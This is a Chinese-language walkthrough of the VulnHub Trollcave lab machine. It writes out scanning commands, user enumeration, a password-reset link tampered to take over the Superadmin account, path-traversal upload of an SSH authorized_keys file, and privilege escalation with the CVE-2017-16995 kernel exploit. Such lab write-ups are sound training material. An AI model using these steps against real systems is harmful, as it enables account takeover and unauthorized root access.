Trollcave

一、环境搭建

靶机地址:https://www.vulnhub.com/entry/trollcave-12,230/

使用virtualbox导入,网络改成桥接模式,然后取消启用USB设备,不要更改原来的系统设置

只需要读取靶机下的root/flag.txt

二、信息收集

主机发现:

1 netdiscover -r 192.168.248.0/24

端口扫描:

1 nmap -sV 192.168.248.155

目录扫描:

1 gobuster dir -u http://192.168.248.155/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

三、漏洞发现

尝试访问 /login

在登陆界面,发现了最新的用户以及在线用户,点击用户可以发现URL中最后多了一个数字,多次尝试发现最新的用户是17,那么可以遍历1~17,得到所有用户的信息

 1 King:Superadmin
 2 dave:Admin
 3 dragon:Admin
 4 coderguy:Admin
 5 cooldude89:Moderator
 6 Sir:Moderator
 7 Q:Moderator
 8 teflon:Moderator
 9 TheDankMan:Regular member
10 artemus:Regular member
11 MrPotatoHead:Regular member
12 Ian:Regular member
13 kev:Member
14 notanother:Member
15 anybodyhome:Member
16 onlyme:Member
17 xer:Member

可以得到有一个Superadmin用户,查看文章

进行翻译可以得知源码为rails,在github进行搜索

四、漏洞利用

查询找到资料https://github.com/rails/rails

安装的时候会创建用户 rails,网站里还有一个重置密码的功能

http://192.168.248.155/password_resets/new

直接选择重置king用户会报错,选择重置xer用户会得到如下链接

http://192.168.248.155/password_resets/edit.L6P6SLUowyqNQ5BgbJnpBQ?name=xer

访问这个链接即可重置xer的密码

但是通过逻辑错误修改链接即可重置King用户的密码

http://192.168.248.155/password_resets/edit.L6P6SLUowyqNQ5BgbJnpBQ?name=King

登录后在file manager上传文件时,发现不能上传,但是在admin panel中可以开启上传

上传php 但是网站不能解释 php 文件,但是发现文件可以上传到其他目录。因此可以试试 rails 用户是否存在如果存在可以上传 authorized_keys 到 rails 用户下的.ssh 就可以免密码登录 ssh

首先生成ssh秘钥

1 ssh-keygen -f rails
2 mv rails.pub authorized_keys

将 authorized_keys 上传到/home/rails/.ssh/,故上传路径为../../../../../../../home/rails/.ssh/authorized_keys

然后进行ssh登录

1 mv rails id_rsa-rails 
2 chmod 600 id_rsa-rails
3 ssh -i id_rsa-rails rails@192.168.248.155

查看系统信息

CVE-2017-16995提权

https://www.exploit-db.com/exploits/45010

gcc 进行本地编译

1 gcc cve-2017-16995.c -o cve

kali开启web服务器进行上传

1 python3 -m http.server 80

在靶机上进行下载

然后给于权限并执行文件

1 chmod 777 cve
2 ./cve

已经成功提取到root,获取flag.txt

热门相关:娘娘每天都在洗白   帝少宠妻有点甜   重生豪门宠婚:枭宠不乖娇妻   视死如归魏君子   我的女友是丧尸